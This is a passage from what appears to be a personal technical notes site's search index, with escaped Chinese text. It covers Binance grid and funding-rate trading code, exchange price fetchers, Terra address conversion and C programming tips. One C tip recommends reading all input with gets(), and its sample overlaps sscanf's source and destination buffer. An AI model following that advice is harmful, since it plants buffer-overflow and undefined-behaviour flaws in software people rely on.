<p>\\u53e6\\u5916\\uff0c\\u5982\\u679cbtc\\u6301\\u7eed\\u4e0a\\u6da8\\uff0c\\u5728\\u6301\\u4ed3\\u4e2d\\u770b\\u5230\\u505a\\u7a7a\\u4e8f\\u4e86\\u767e\\u5206\\u4e4b\\u591a\\u5c11\\u8fd8\\u662f\\u6709\\u70b9\\u5fc3\\u75db\\u7684\\uff0c\\u8fd9\\u5c31\\u9700\\u8981\\u826f\\u597d\\u7684\\u5fc3\\u7406\\u7d20\\u8d28\\uff0c\\u5957\\u5229\\u76f8\\u6bd4\\u4e8e\\u6301\\u5e01\\u52a8\\u8f84\\u4e00\\u592910%\\u7684\\u6ce2\\u52a8\\u5c31\\u6323\\u4e0d\\u5230\\u591a\\u5c11\\u94b1hhh</p>\"},{\"location\":\"Bitcoin/#_4\",\"title\":\"\\u5957\\u5229+\\u7f51\\u683c\\u4ea4\\u6613\",\"text\":\"<p>\\u4e0a\\u8ff0\\u80fd\\u88ab\\u9009\\u51fa\\u7684\\u8d44\\u91d1\\u8d39\\u7387\\u9ad8\\u7684\\u5957\\u5229\\u5e01\\u79cd\\uff0c\\u5f80\\u5f80\\u4e5f\\u662f\\u6da8\\u5e45\\u5de8\\u5927\\u7684\\u5e01\\u79cd\\uff0c\\u53ef\\u80fd\\u8fd8\\u4e0d\\u5982\\u7b80\\u5355\\u6301\\u5e01\\u8d5a\\u5f97\\u66f4\\u591a\\uff0c\\u4e8e\\u662f\\u53ef\\u4ee5\\u5c1d\\u8bd5\\u66f4\\u7a33\\u59a5\\u7f51\\u683c\\u3002\\u7f51\\u683c\\u7684\\u4e00\\u4e2a\\u7f3a\\u70b9\\u5728\\u4e8e\\u8d44\\u91d1\\u5229\\u7528\\u7387\\u4f4e\\uff0c\\u7b49\\u7740\\u6284\\u5e95\\u4e70\\u5165\\u7684\\u8d44\\u91d1\\u662f\\u95f2\\u7f6e\\u7684\\uff0c\\u81ea\\u7136\\u60f3\\u5230\\u53ef\\u4ee5\\u628a\\u4e0a\\u8ff0\\u8d44\\u91d1\\u8d39\\u7387\\u5957\\u5229\\u7ed3\\u5408\\u8d77\\u6765\\uff0c\\u8fd8\\u6ca1\\u4e70\\u5165\\u7684\\u90e8\\u5206\\u5c31\\u7b49\\u91cf\\u505a\\u7a7a\\uff0c\\u4f18\\u70b9\\u5728\\u4e8e\\uff1a</p> <ul> <li>\\u8fd8\\u6ca1\\u4e70\\u5165\\u7684\\u6284\\u5e95\\u8d44\\u91d1\\u80fd\\u8d5a\\u53d6\\u8d44\\u91d1\\u8d39\\u7387\\uff0c\\u4e0d\\u5b8c\\u5168\\u95f2\\u7f6e</li> <li>\\u6ca1\\u6709usdt\\u66b4\\u96f7\\u98ce\\u9669\\uff0c\\u5e01\\u672c\\u4f4d\\u6c38\\u7eed\\u5408\\u7ea6\\u6302\\u94a9\\u7684\\u662f\\u7f8e\\u5143\\u800c\\u4e0d\\u662fusdt</li> <li>\\u624b\\u7eed\\u8d39\\u4f4e\\uff0c\\u706b\\u5e01\\u73b0\\u8d27\\u4ea4\\u6613\\u53432\\uff0c\\u5e01\\u5b89\\u5408\\u7ea6\\u4ea4\\u6613maker\\u53ea\\u6709\\u4e071.5</li> </ul> <p>\\u8c03\\u7528\\u5e01\\u5b89python sdk\\u81ea\\u52a8\\u6302\\u5355\\uff0c\\u4ee3\\u7801\\u903b\\u8f91\\u662f\\uff1a \\u83b7\\u53d6\\u5f53\\u524d\\u6240\\u6709\\u7684\\u6302\\u5355\\uff0c\\u6bd4\\u5bf9\\u914d\\u7f6e\\u7684\\u4ef7\\u683c\\u6570\\u7ec4\\uff0c\\u627e\\u5230\\u7f3a\\u5931\\u7684\\u4ef7\\u683c\\u4eec\\u3002 \\u8fd9\\u4e9b\\u7f3a\\u5931\\u7684\\u4ef7\\u683c\\u662f\\u56e0\\u4e3a\\u6302\\u5355\\u6210\\u4ea4\\u5bfc\\u81f4\\u7684\\uff0c\\u9700\\u8981\\u8865\\u4e0a\\u3002 \\u6700\\u65b0\\u6210\\u4ea4\\u7684\\u90a3\\u4e00\\u5355\\u4ef7\\u683c\\u5b9a\\u4e3ap\\uff0cp\\u672c\\u8eab\\u662f\\u4e0d\\u80fd\\u8865\\u5355\\u7684\\uff08\\u521a\\u7a81\\u7834\\u7684\\u7f51\\u683c\\u672c\\u8eab\\u518d\\u8865\\u4e0a\\u5c31\\u662f\\u767d\\u4ea4\\u624b\\u7eed\\u8d39\\uff09\\u3002 \\u5c0f\\u4e8ep\\u7684\\u7f3a\\u5931\\u4ef7\\u683c\\u9700\\u8981\\u8865\\u4e0abuy\\uff0c\\u5927\\u4e8e\\u7684\\u8865\\u4e0asell\\u3002</p> <p>\\u5728\\u884c\\u60c5\\u5267\\u70c8\\u6ce2\\u52a8\\u7684\\u65f6\\u5019\\uff0c\\u53ef\\u80fd\\u4e00\\u5206\\u949f\\u5c31\\u4f1a\\u6210\\u4ea4\\u591a\\u6b21\\u8ba2\\u5355\\u9700\\u8981\\u53ca\\u65f6\\u8865\\u5355\\uff0c\\u5c31\\u9047\\u5230\\u4e86\\u5177\\u4f53\\u7f16\\u7801\\u7684\\u6311\\u6218\\uff1a</p>\"},{\"location\":\"Bitcoin/#_5\",\"title\":\"\\u5982\\u4f55\\u83b7\\u53d6\\u6700\\u65b0\\u7684\\u6210\\u4ea4\\u8ba2\\u5355\\uff1f\",\"text\":\"<p>\\u8ba2\\u5355\\u53f7\\u6392\\u5e8f\\uff1f\\u4e0d\\u884c\\uff0corderId\\u53ea\\u662f\\u6309\\u4e0b\\u5355\\u65f6\\u95f4\\u9012\\u589e\\uff0corderId\\u6700\\u5927\\u5e76\\u4e0d\\u4e00\\u5b9a\\u6700\\u8fd1\\u6210\\u4ea4</p> <p>\\u83b7\\u53d6\\u5f53\\u524d\\u6700\\u65b0\\u4ef7\\u683c\\uff0c\\u6bd4\\u8f83\\u54ea\\u4e2a\\u7f3a\\u5931\\u4ef7\\u683c\\u79bb\\u6700\\u65b0\\u4ef7\\u683c\\u66f4\\u8fd1\\uff1f\\u5728\\u884c\\u60c5\\u5267\\u70c8\\u6ce2\\u52a8\\u65f6\\u4e0d\\u53ef\\u9760</p> <p>\\u83b7\\u53d6\\u5386\\u53f2\\u6240\\u6709\\u8ba2\\u5355\\uff0c\\u6309updateTime\\u6392\\u5e8f\\uff1f\\u5b9e\\u6d4b\\u53d1\\u73b0\\u8fd9\\u4e2aapi\\u6709\\u4e24\\u4e2a\\u95ee\\u9898\\uff1a</p> <ul> <li>\\u591a\\u4e2a\\u8ba2\\u5355updateTime\\u76f8\\u540c\\uff0c\\u65e0\\u6cd5\\u6392\\u5e8f\\u533a\\u5206</li> <li>\\u6570\\u636e\\u5ef6\\u8fdf\\uff0c\\u6700\\u65b0\\u6210\\u4ea4\\u7684\\u8ba2\\u5355\\u5e76\\u4e0d\\u4e00\\u5b9a\\u51fa\\u73b0</li> </ul> <p>\\u89e3\\u51b3\\u65b9\\u6848\\u662f\\uff1a</p> <ul> <li>\\u83b7\\u53d6\\u6700\\u65b0\\u6210\\u4ea4\\u7684\\u6210\\u4ea4\\u8bb0\\u5f55\\uff0c\\u4ece\\u4e2d\\u63d0\\u53d6\\u5305\\u542b\\u7684orderId\\uff0c\\u518d\\u67e5\\u8be2\\u8ba2\\u5355\\u3002\\u4e0d\\u6392\\u9664\\u8fd9\\u4e2aREST API\\u4e5f\\u5b58\\u5728\\u6570\\u636e\\u5ef6\\u8fdf\\u7684\\u95ee\\u9898</li> <li>\\u4f7f\\u7528websocket</li> </ul>\"},{\"location\":\"Bitcoin/#python-sdk\",\"title\":\"\\u5e01\\u5b89Python SDK\\u6ca1\\u6709\\u5e01\\u672c\\u4f4d\\u5408\\u7ea6\\u63a5\\u53e3\",\"text\":\"<p>\\u73b0\\u5728\\u4ee3\\u7801\\u5df2\\u7ecf\\u6709\\u66f4\\u65b0\\u8865\\u4e0a\\u4e86REST API\\u7684\\u7f3a\\u5931\\uff0c\\u4f46websocket\\u8ba2\\u9605\\u8d26\\u6237\\u53d8\\u52a8\\u7684\\u4ee3\\u7801\\u8fd8\\u662f\\u5f97\\u81ea\\u5df1\\u6765\\uff1a</p> <p>client.py\\u91ccstream_get_listen_key\\u9644\\u8fd1\\u52a0\\u4e0a\\uff1a</p> <pre><code>    def futures_stream_get_listen_key(self):\\n        res = self._request_futures_api(\\\"post\\\", \\\"listenKey\\\", True, data={})\\nreturn res['listenKey']\\n</code></pre> <p>\\u8c03\\u7528\\u5c31\\u8fd9\\u6837\\uff1a</p> <pre><code>    def start_websocket(self, handle_order):\\n        def process_message(msg):\\n            global conn_key\\nif msg['e'] not in ['ACCOUNT_UPDATE'] and not (msg['e']=='ORDER_TRADE_UPDATE' and msg['o']['X']=='NEW'):\\n                myprint(\\\"message:\\\", msg['e'], msg)\\nif msg['e'] == 'error':\\n                bm.stop_socket(conn_key)\\nbm.close()\\nreactor.stop()\\nprint(\\\"socket stopped, exit now!\\\")\\nexit()\\nelif msg['e']=='ORDER_TRADE_UPDATE':\\n                o = msg['o']\\n                if o['X']!='FILLED':\\n                    return\\norder = {\\\"price\\\":o['p'], \\\"orderId\\\":o['i'], \\\"side\\\":o[\\\"S\\\"], \\\"symbol\\\":o[\\\"s\\\"], \\\"clientOrderId\\\":o[\\\"c\\\"]}\\n                return handle_order(order)\\n\\nclient = self.client\\nclient.stream_get_listen_key = client.futures_stream_get_listen_key\\nclient.FUTURES_URL = client.FUTURES_URL.replace(\\\"fapi\\\", \\\"dapi\\\")\\nbm = BinanceSocketManager(client)\\nbm.STREAM_URL = \\\"wss://dstream.binance.com/\\\"\\nconn_key = bm.start_user_socket(process_message)\\nbm.start()\\n</code></pre> <p>\\u4e0a\\u8ff0\\u4ee3\\u7801\\u76f4\\u63a5\\u9b54\\u6539BinanceSocketManager\\u7684\\u5e38\\u6570\\u5b9a\\u4e49\\u6765\\u5b9e\\u73b0\\u5bf9\\u5e01\\u672c\\u4f4d\\u5408\\u7ea6API\\u7684\\u8c03\\u7528\\uff0c\\u8ba2\\u9605\\u8d26\\u6237\\u53d8\\u52a8\\u6d88\\u606f\\uff0c\\u53ea\\u5904\\u7406ORDER_TRADE_UPDATE\\u4e2dFILLED\\u7684\\u8ba2\\u5355\\uff0c\\u8c03\\u7528handle_order\\u51fd\\u6570\\u8fdb\\u884c\\u5904\\u7406</p>\"},{\"location\":\"Bitcoin/#_6\",\"title\":\"\\u5404\\u79cd\\u5f02\\u5e38\\u5904\\u7406\",\"text\":\"<p>\\u907f\\u514d\\u91cd\\u590d\\u4e0b\\u5355: \\u4e0b\\u5355\\u65f6\\u6307\\u5b9a\\u5305\\u542b\\u4ef7\\u683c\\u4fe1\\u606f\\u7684newClientOrderId\\uff0c\\u91cd\\u590d\\u4e0b\\u5355\\u81ea\\u7136\\u4f1a\\u5931\\u8d25\\uff0c\\u907f\\u514d\\u76f8\\u540c\\u7684\\u8ba2\\u5355\\u91cd\\u590d\\u4e0b\\u5355<code>APIError(code=-4015): Client order id is not valid.</code>\\uff0c\\u4f46\\u8fd9\\u4e2a\\u4fdd\\u62a4\\u53ea\\u9488\\u5bf9\\u8fd8\\u5728\\u6302\\u5355\\u7684\\u8ba2\\u5355\\uff0c\\u76f8\\u540c\\u7684clientorderid\\u5982\\u679c\\u524d\\u8ff0\\u8ba2\\u5355\\u5df2\\u7ecf\\u6210\\u4ea4\\uff0c\\u4e0d\\u4f1a\\u963b\\u6b62\\u65b0\\u7684\\u63d0\\u4ea4\\u3002</p> <p>\\u5df2\\u7ecf\\u91cd\\u590d\\u4e0b\\u5355\\uff1a\\u9700\\u8981\\u6bd4\\u5bf9\\u5f53\\u524d\\u4ef7\\u683c\\u4e0e\\u5b9a\\u4e49\\u597d\\u7684\\u7f51\\u683c\\u6570\\u7ec4\\uff0c\\u5224\\u65ad\\u5f53\\u524d\\u5e94\\u8be5\\u7684\\u4ed3\\u4f4d\\u662f\\u591a\\u5c11\\uff0c\\u7136\\u540e\\u4f7f\\u7528\\u5e02\\u4ef7\\u5355\\u6216\\u8005\\u989d\\u5916\\u5728\\u76f8\\u90bb\\u7f51\\u683c\\u4e0b\\u5355\\u4fdd\\u8bc1\\u4ed3\\u4f4d\\u7684\\u6b63\\u786e\\u6027\\uff0c\\u6ce8\\u610f\\u6781\\u7aef\\u884c\\u60c5\\u4e0b\\u81ea\\u52a8\\u8865\\u4ed3\\u4f9d\\u636e\\u7684\\u4ed3\\u4f4d\\u4ef7\\u503c\\u53ef\\u80fd\\u6709\\u8bef\\u3002\\u4f8b\\u5982\\u4e70\\u5165\\u662f\\u9760\\u5e73\\u4ed3\\u505a\\u7a7a\\u5b9e\\u73b0\\u7684\\uff0c\\u8fd9\\u662f\\u79cdreduceOnly\\u7684\\u8ba2\\u5355\\uff0c\\u5fc5\\u987b\\u6709\\u8db3\\u591f\\u591a\\u7684\\u505a\\u7a7a\\u4ed3\\u4f4d\\u624d\\u80fd\\u4e70\\uff0c\\u5426\\u5219\\u62a5\\u9519\\uff1a<code>APIError(code=-2022): ReduceOnly Order is rejected.</code></p> <p>\\u5df2\\u7ecf\\u4e0b\\u7684\\u8ba2\\u5355\\u72b6\\u6001\\u53d8\\u6210\\u201c\\u5df2\\u8fc7\\u671f\\u201d\\uff1a\\u8fd9\\u79cd\\u8fd8\\u662f\\u56e0\\u4e3a\\u5df2\\u7ecf\\u53d1\\u751f\\u4e86\\u8d85\\u4e70/\\u8d85\\u5356\\uff0c\\u4fdd\\u8bc1\\u91d1\\u4e0d\\u8db3\\uff0c\\u5b98\\u65b9\\u8bf4\\u660e\\uff1a</p> <p>https://www.binance.com/zh-CN/support/faq/360039707291</p> <p>\\u4fdd\\u8bc1\\u91d1\\u5ba1\\u6838\\u4e0d\\u8fc7\\uff08\\u9488\\u5bf9\\u4e8e\\u6b62\\u76c8\\u6b62\\u635f\\u5355\\uff09\\uff1a\\u6b62\\u76c8\\u6b62\\u635f\\u5355\\u4e2d\\u9700\\u8981\\u8bbe\\u7f6e\\u89e6\\u53d1\\u4ef7\\u548c\\u6210\\u4ea4\\u4ef7\\uff08\\u5e02\\u4ef7\\u6b62\\u76c8\\u6b62\\u635f\\u5355\\u4e2d\\uff0c\\u53ef\\u4ee5\\u6839\\u636e\\u4e0d\\u540c\\u9700\\u8981\\u8bbe\\u7f6e\\u6839\\u636e\\u6807\\u8bb0\\u4ef7\\u683c\\u6216\\u6700\\u65b0\\u4ef7\\u683c\\u89e6\\u53d1\\uff09\\uff0c\\u7cfb\\u7edf\\u4f1a\\u8fdb\\u884c\\u4e24\\u6b21\\u4fdd\\u8bc1\\u91d1\\u5ba1\\u6838\\uff0c\\u5206\\u522b\\u5728\\u4e0b\\u5355\\u524d\\u548c\\u6210\\u4ea4\\u524d\\u3002\\u8ba2\\u5355\\u89e6\\u53d1\\u4e4b\\u540e\\uff0c\\u7cfb\\u7edf\\u4f1a\\u7acb\\u5373\\u8fdb\\u884c\\u7b2c\\u4e8c\\u6b21\\u4fdd\\u8bc1\\u91d1\\u5ba1\\u6838\\uff0c\\u82e5\\u5f53\\u524d\\u53d1\\u751f\\u4e86\\u4e8f\\u635f\\u6216\\u5212\\u8f6c\\u51fa\\u4e86\\u4fdd\\u8bc1\\u91d1\\uff0c\\u5bfc\\u81f4\\u53ef\\u7528\\u4fdd\\u8bc1\\u91d1\\u4e0d\\u8db3\\uff0c\\u6b64\\u65f6\\u8ba2\\u5355\\u72b6\\u6001\\u4f1a\\u663e\\u793a\\u5df2\\u8fc7\\u671f\\u3002</p> <p>\\u4fdd\\u8bc1\\u91d1\\u4e0d\\u8db3\\uff1a\\u76f4\\u63a5\\u628a\\u6760\\u6746\\u500d\\u6570\\u53d8\\u62102\\u53ef\\u4ee5\\u907f\\u514d\\u8fd9\\u4e2a\\u95ee\\u9898\\uff0c\\u5373\\u4f7f\\u52a0\\u6760\\u6746\\u4e5f\\u4e0d\\u4f1a\\u51fa\\u73b0\\u5f3a\\u5e73\\u4ef7\\u683c\\u3002</p> <p>\\u670d\\u52a1\\u5668\\u7f51\\u7edc\\u4e0d\\u53ef\\u9760\\uff1a\\u5728\\u5176\\u4ed6\\u5730\\u533a\\u7684\\u670d\\u52a1\\u5668\\u540c\\u65f6\\u8dd1\\u8f6e\\u8be2\\uff0c\\u5373\\u4f7f\\u5355\\u4e2a\\u670d\\u52a1\\u5668\\u6302\\u6389\\uff0c\\u4e5f\\u6709\\u5176\\u4ed6\\u670d\\u52a1\\u5668\\u9760\\u8f6e\\u8be2\\u8865\\u4e0a\\u8ba2\\u5355\\uff0c\\u4f46\\u6ce8\\u610f\\u5206\\u5e03\\u5f0f\\u540e\\u65e5\\u5fd7\\u6536\\u96c6\\u662f\\u4e2a\\u65b0\\u7684\\u96be\\u70b9</p> <p>listenKeyExpired\\uff1a\\u6536\\u5230\\u8fd9\\u79cd\\u7c7b\\u578b\\u7684\\u6d88\\u606f\\u9700\\u8981\\u91cd\\u65b0\\u8fde\\u63a5\\uff0c\\u4e5f\\u53ef\\u4ee5\\u4e3b\\u52a8\\u8f6e\\u8be2\\u7684\\u65f6\\u5019\\u8c03\\u7528futures_stream_get_listen_key\\u5bf9\\u73b0\\u6709\\u7684Listen Key\\u8fdb\\u884c\\u5237\\u65b0</p>\"},{\"location\":\"Bitcoin/#_7\",\"title\":\"\\u83b7\\u53d6\\u4ea4\\u6613\\u6240\\u4ef7\\u683c\\u4fe1\\u606f\",\"text\":\"<p>\\u5728\\u7edf\\u8ba1\\u8d44\\u4ea7\\u65f6\\u5bf9\\u4ef7\\u683c\\u5b9e\\u65f6\\u6027\\u6ca1\\u6709\\u8981\\u6c42\\uff0c\\u53ef\\u4ee5\\u7f13\\u5b5860\\u79d2\\uff1b\\u7528\\u6cd5\\uff1a<code>print(HUOBI_Price.btc)</code>\\uff0c\\u8fd4\\u56de\\u7684\\u662f\\u5b57\\u7b26\\u4e32\\u7c7b\\u578b</p> <pre><code>class class_CEXPRICE():\\n    def __init__(self):\\n        self.updatetime = -1\\n    def __getattr__(self, token):\\n        if time.time()-self.updatetime&gt;=60:\\n            print(\\\"fetch\\\", self, end=\\\"\\\", flush=True)\\n            self.data = self.fetchprice()\\n            print()\\n            self.updatetime = time.time()\\n        return self.handleprice(token)\\n\\nclass class_HUOBI_Price(class_CEXPRICE):\\n    def fetchprice(self):\\n        return sess.get(\\\"https://api.huobi.pro/market/tickers\\\", timeout=5).json()[\\\"data\\\"]\\n    def handleprice(self, token):\\n        return [i for i in self.data if i[\\\"symbol\\\"]==token.lower()+\\\"usdt\\\"][0][\\\"close\\\"]\\nHUOBI_Price=class_HUOBI_Price()\\n\\nclass class_BINANCE_Price(class_CEXPRICE):\\n    def fetchprice(self):\\n        return sess.get(\\\"https://api.binance.com/api/v3/ticker/price\\\", timeout=5).json()\\n    def handleprice(self, token):\\n        if \\\"busd\\\" not in token.lower():\\n            token = token.lower()+\\\"usdt\\\"\\n        return [i for i in self.data if i[\\\"symbol\\\"]==token.upper()][0][\\\"price\\\"]\\nBINANCE_Price=class_BINANCE_Price()\\n\\nclass class_MXC_Price(class_CEXPRICE):\\n    def fetchprice(self):\\n        return sess.get(\\\"https://www.mxc.com/open/api/v2/market/ticker\\\", timeout=5).json()[\\\"data\\\"]\\n    def handleprice(self, token):\\n        return [i for i in self.data if i[\\\"symbol\\\"]==token.upper()+\\\"_USDT\\\"][0][\\\"last\\\"]\\nMXC_Price = class_MXC_Price()\\n</code></pre>\"},{\"location\":\"Bitcoin/#terra\",\"title\":\"terra\\u5730\\u5740\\u8f6c\\u4e3a\\u4ee5\\u592a\\u574a\\u5730\\u5740\",\"text\":\"<p>\\u4f9d\\u8d56\\u5e93\\uff1a<code>pip3 install bech32</code></p> <pre><code>import bech32\\nwords = bech32.bech32_decode(terra_addr)[1]\\nethaddr = \\\"\\\".join([hex(i)[2:].rjust(2,\\\"0\\\") for i in bech32.convertbits(words,5,8,False)])\\n</code></pre> <p>\\u53cd\\u8fc7\\u6765\\u5c31\\u662f</p> <pre><code>words = [int(ethaddr[i:i+2], 16) for i in range(0,40,2)]\\nterra_addr = bech32.bech32_encode(\\\"terra\\\", bech32.convertbits(words, 8, 5, False))\\n</code></pre>\"},{\"location\":\"C/\",\"title\":\"C\\u8bed\\u8a00\",\"text\":\"<p>\\u4e00\\u70b9\\u5173\\u4e8eC\\u7684\\u5efa\\u8bae\\u54af\\uff0c\\u4e5f\\u5305\\u542bC++</p> <p>\\u987a\\u5e26\\u9644\\u4e0a\\u51e0\\u4e2a\\u9898\\u76ee\\u548c\\u6211\\u5199\\u7684\\u89e3\\u7b54</p>\"},{\"location\":\"C/#dev-c\",\"title\":\"\\u5173\\u4e8eDev C++\",\"text\":\"<ul> <li> <p>\\u6709\\u65f6\\u5019\\u4f1a\\u53d1\\u751f\\u6539\\u4e86\\u4ee3\\u7801\\u4f46\\u8fd0\\u884c\\u8d77\\u6765\\u662f\\u65e7\\u7248\\u672c\\u7684\\u60c5\\u51b5\\uff0c\\u9700\\u8981\\u68c0\\u67e5\\u662f\\u5426\\u5173\\u95ed\\u4e86\\u6b63\\u5728\\u8fd0\\u884c\\u7684exe\\uff0c\\u5982\\u679c\\u662f\\u5de5\\u7a0b\\u9700\\u8981\\u6309F12\\u5168\\u90e8\\u91cd\\u65b0\\u7f16\\u8bd1\\u6e05\\u7a7a\\u7f13\\u5b58</p> </li> <li> <p>\\u7f16\\u8bd1\\u5de5\\u7a0b\\u9519\\u8bef\\u5b9a\\u4f4d\\u5728Makefile\\u8bf4\\u660e\\u6709\\u51fd\\u6570\\u58f0\\u660e\\u4e86\\u4f46\\u6ca1\\u6709\\u5b9a\\u4e49\\uff0c\\u6216\\u8005\\u53ef\\u80fd\\u662f\\u51fa\\u73b0\\u4e86\\u591a\\u4e2a\\u6587\\u4ef6\\u540c\\u540d\\u51fd\\u6570\\uff0c\\u5c0f\\u5fc3\\u5176\\u521b\\u5efa\\u5de5\\u7a0b\\u7684\\u65f6\\u5019\\u81ea\\u52a8\\u4ea7\\u751f\\u7684main.c</p> </li> <li> <p>\\u5982\\u679c\\u5355\\u7eaf\\u53ea\\u9700\\u8981\\u7f16\\u8bd1\\u4e00\\u4e2aC\\u6587\\u4ef6\\uff0c\\u4e3a\\u8ffd\\u6c42\\u7f16\\u8bd1\\u901f\\u5ea6\\u53ef\\u4ee5\\u8003\\u8651\\u4f7f\\u7528tcc (Tiny C Compile)\\u7f16\\u8bd1\\u5668\\uff0c\\u53c2\\u89c1https://qs1401.com/?post=18\\uff1b\\u53e6\\u5916\\u4f60\\u53ef\\u4ee5\\u4fee\\u6539\\u7f16\\u8bd1\\u7684\\u4f18\\u5316\\u53c2\\u6570\\uff0c\\u4e0d\\u8981\\u7528<code>-O3</code>\\u8fd9\\u79cd\\u66f4\\u9002\\u5408\\u6b63\\u5f0f\\u53d1\\u5e03\\u65f6\\u7684\\u4f18\\u5316\\u9009\\u9879</p> </li> <li> <p>\\u4e0d\\u8981\\u5728\\u4e00\\u4e2a\\u9879\\u76ee\\u4e2d\\u6df7\\u7528.c\\u548c.cpp\\uff0c\\u5c06\\u5bfc\\u81f4<code>ld</code>\\u94fe\\u63a5\\u7684\\u65f6\\u5019\\u51fd\\u6570\\u627e\\u4e0d\\u5230\\u3002\\u56e0\\u4e3a\\u7f16\\u8bd1.cpp\\u7684\\u65f6\\u5019\\u662fC++\\u7684\\u7f16\\u8bd1\\uff0c\\u7531\\u4e8e\\u8981\\u652f\\u6301\\u91cd\\u8f7d\\uff0c\\u7f16\\u8bd1\\u5668\\u4f1a\\u81ea\\u52a8\\u4fee\\u6539\\u51fd\\u6570\\u540d\\u79f0\\uff0c\\u5bfc\\u81f4\\u4ee3\\u7801\\u4e2d\\u540c\\u6837\\u540d\\u5b57\\u7684\\u51fd\\u6570\\u7f16\\u8bd1\\u51fa\\u6765\\u7684.o\\u6587\\u4ef6\\u91cc\\u9762\\u51fd\\u6570\\u540d\\u79f0\\u662f\\u4e0d\\u540c\\u7684\\uff0c\\u8fd9\\u6837.c\\u627e\\u4e0d\\u5230.cpp\\u7684\\u51fd\\u6570\\uff0c\\u81ea\\u7136\\u65e0\\u6cd5\\u94fe\\u63a5\\uff1b\\u4e0d\\u8fc7\\u8fd8\\u662f\\u6709\\u6280\\u5de7\\u7684\\uff1aextern \\u201cC\\u201d\\u5305\\u4f4f\\u5373\\u53ef</p> </li> <li> <p>\\u6ce8\\u610f\\u6307\\u9488\\u7684\\u661f\\u53f7\\u522b\\u5c11\\u5199\\uff1a\\u60f3\\u4e00\\u6b21\\u5199\\u4e24\\u4e2a\\u6307\\u9488\\uff1f\\u4e0d\\u80fd\\u5199<code>FILE* fp1,fp2;</code>\\u800c\\u662f\\u6bcf\\u4e2a\\u53d8\\u91cf\\u524d\\u9762\\u90fd\\u8981\\u5e26\\u4e0a\\u661f\\u53f7\\uff01\\u6b63\\u786e\\u5199\\u6cd5\\uff1a<code>FILE *fp1,*fp2; char *s1,*s2;</code></p> </li> </ul>\"},{\"location\":\"C/#_1\",\"title\":\"\\u8f93\\u5165\\u7684\\u95ee\\u9898\",\"text\":\"<p>\\u5728\\u5f00\\u53d1\\u771f\\u5b9e\\u7528\\u6237\\u4f1a\\u4f7f\\u7528\\u7684\\u547d\\u4ee4\\u884c\\u7a0b\\u5e8f\\u65f6\\uff0c\\u6211\\u5efa\\u8bae\\u6240\\u6709\\u7684\\u8f93\\u5165\\u5168\\u90e8\\u4f7f\\u7528gets\\u5b8c\\u6210\\uff0c\\u7136\\u540e\\u518d\\u7528sscanf\\u8bfb\\u53d6\\u5230\\u53d8\\u91cf\\uff0c\\u53ef\\u4ee5\\u6709\\u6548\\u9632\\u6b62scanf\\u5728\\u4e00\\u884c\\u51fa\\u9519\\u6ce2\\u53ca\\u5230\\u4e0b\\u4e00\\u884c</p> <p>\\u5f53\\u7136\\u66f4\\u5b89\\u5168\\u7684\\u662f <code>fgets(buf,9999,stdin);</code> \\u6307\\u5b9a\\u6700\\u591a\\u8bfb\\u53d6\\u591a\\u5c11\\u4e2a\\u5b57\\u8282\\u907f\\u514d\\u6808\\u6ea2\\u51fa\\uff0c\\u4f46\\u8fd9\\u79cd\\u65b9\\u6cd5\\u4f1a\\u5f97\\u5230\\\\n\\u5b57\\u7b26</p> <p>\\u53e6\\u5916\\uff0c\\u65e0\\u8bba\\u662fscanf\\u8fd8\\u662fsscanf\\uff0c\\u8d4b\\u503c\\u7ed9int/double\\u7b49\\u7c7b\\u578b\\u7684\\u53d8\\u91cf\\u4e00\\u5b9a\\u8981\\u5199&amp;\\u7b26\\u53f7\\uff01</p> <p>\\u4ee5\\u4e0b\\u4ee3\\u7801\\u6f14\\u793a\\u8fd9\\u79cd\\u8f93\\u5165\\u65b9\\u6cd5\\uff0c\\u5bf9\\u8f93\\u5165\\u7684n\\u4e2a\\u6570\\u8c03\\u7528qsort\\u6392\\u5e8f\\uff1b\\u8f93\\u5165\\u683c\\u5f0f\\uff1a\\u7b2c\\u4e00\\u884c N\\u8868\\u793a\\u6570\\u7684\\u4e2a\\u6570\\uff0c\\u7b2c\\u4e8c\\u884c N\\u4e2a\\u9700\\u8981\\u6392\\u5e8f\\u7684\\u6570(N&lt;1000)</p> <pre><code>#include &lt;stdio.h&gt;\\n#include &lt;stdlib.h&gt;\\nchar buf[9999];\\nint data[1005]; //\\u4e0d\\u8981\\u5728\\u5c40\\u90e8\\u53d8\\u91cf\\u5b9a\\u4e49\\u5927\\u6570\\u7ec4\\uff0c\\u4f1a\\u70b8\\u6808\\nint cmp(const void* a,const void* b){\\nreturn *(int*)a-*(int*)b;\\n}\\nint main(){\\nint N,i;\\ngets(buf);\\nsscanf(buf,\\\"%d\\\",&amp;N);\\ngets(buf);\\nfor(i=0;i&lt;N;i++) {\\nsscanf(buf,\\\"%d %[^\\\\n]\\\",&amp;data[i],buf);\\n}\\nqsort(data,N,sizeof(int),cmp);\\nfor(i=0;i&lt;N-1;i++) printf(\\\"%d \\\",data[i]);\\nprintf(\\\"%d\\\",data[i]);\\n}\\n</code></pre>\"},{\"location\":\"C/#csstreamsprintf\",\"title\":\"C++\\u7528sstream\\u4ee3\\u66ffsprintf\",\"text\":\"<pre><code>#include &lt;string&gt;\\n#include &lt;sstream&gt;\\n#include &lt;iostream&gt; using namespace std;\\nint main(){\\nstringstream s;\\nstring result;\\nint i = 1000;\\ns &lt;&lt;\\\"haha \\\"&lt;&lt; i; getline(s,result); // the whole line rather than just the first word\\ncout &lt;&lt; result &lt;&lt; endl; // print \\\"haha1000\\\"\\ns.clear();\\n} </code></pre>\"},{\"location\":\"C/#g\",\"title\":\"\\u89e3\\u51b3g++\\u7701\\u7565\\u62f7\\u8d1d\\u6784\\u9020\\u51fd\\u6570\\u7684\\u95ee\\u9898\",\"text\":\"<p>g++\\u4e3a\\u4e86\\u9632\\u6b62\\u5728\\u51fd\\u6570\\u8fd4\\u56de\\u503c\\u662f\\u5bf9\\u8c61\\u7684\\u65f6\\u5019\\uff0c\\u62f7\\u8d1d\\u6784\\u9020\\u88ab\\u8c03\\u7528\\u591a\\u6b21\\uff0c\\u5373\\u4f7f\\u62f7\\u8d1d\\u6784\\u9020\\u51fd\\u6570\\u6709\\u526f\\u4f5c\\u7528\\uff0c\\u4e5f\\u4f1a\\u88ab\\u4f18\\u5316\\u6389\\uff08\\u76f4\\u63a5\\u5c31\\u4e0d\\u8c03\\u7528\\u62f7\\u8d1d\\u6784\\u9020\\u51fd\\u6570\\u4e86\\uff09</p> 